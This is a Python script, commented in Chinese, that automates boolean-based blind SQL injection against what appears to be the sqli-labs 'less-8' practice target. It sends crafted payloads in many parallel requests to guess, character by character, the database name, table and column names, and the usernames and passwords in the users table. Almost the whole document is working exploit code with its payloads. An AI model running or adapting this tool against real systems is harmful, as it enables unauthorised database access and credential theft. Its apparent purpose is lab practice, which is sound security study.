1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
| import requests
from multiprocessing import Pool
# 只需要修改url 和 两个payload即可
# 目标网址（不带参数）
url = "http://192.168.235.133:86/less-8/"
# 猜解长度使用的payload
payload_len = "?id=1' and length((select database())) = {n} -- +"
# payload_len = "?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database())) = {n} -- +" # 爆破表名n为长度，r为字符的ascii值
# payload_len = "?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')) = {n} -- +" # 爆破字段名n为长度，r为字符的ascii值
# payload_len = "?id=1' and length((select group_concat(concat_ws('|',username,password)) from users)) = {n} -- +" # 爆破用户名和密码n为长度，r为字符的ascii值
# 枚举字符使用的payload
payload_str = "?id=1' and ascii(substr((select database()),{n},1)) = {r} -- +"
# payload_str = "?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{n},1)) = {r} -- +" # 爆破表名n为长度，r为字符的ascii值
# payload_str = "?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),{n},1)) = {r} -- +" # 爆破字段名n为长度，r为字符的ascii值
# payload_str = "?id=1' and ascii(substr((select group_concat(concat_ws('|',username,password)) from users),{n},1)) = {r} -- +" # 爆破用户名和密码n为长度，r为字符的ascii值
# 获取长度
def getLength(url, payload):
length = 1 # 初始测试长度为1
while True:
response = requests.get(url= url+payload_len.format(n=length))
# 页面中出现"You are in"则表示成功
if 'You are in...........' in response.text:
print('测试长度完成，长度为：', length,)
return length
else:
print('正在测试长度：', length)
length += 1 # 测试长度递增
# 获取字符
def getChar(args):
url, payload, l, n = args
response = requests.get(url=url + payload_str.format(n=l, r=n))
# 页面中出现此内容则表示成功
if 'You are in...........' in response.text:
return chr(n)
# 开始猜解
def main():
length = getLength(url, payload_len)
print('开始猜解字符.........')
str = ''
for l in range(1, length + 1):
pool = Pool(processes=50) # 设置并发数
results = pool.map(getChar, [(url, payload_str, l, n) for n in range(33, 126)])
pool.close()
pool.join()
char = next((c for c in results if c is not None), None)
if char:
str += char
print('第', l, '个字符猜解成功：', str)
return str
if __name__ == "__main__":
main()
|
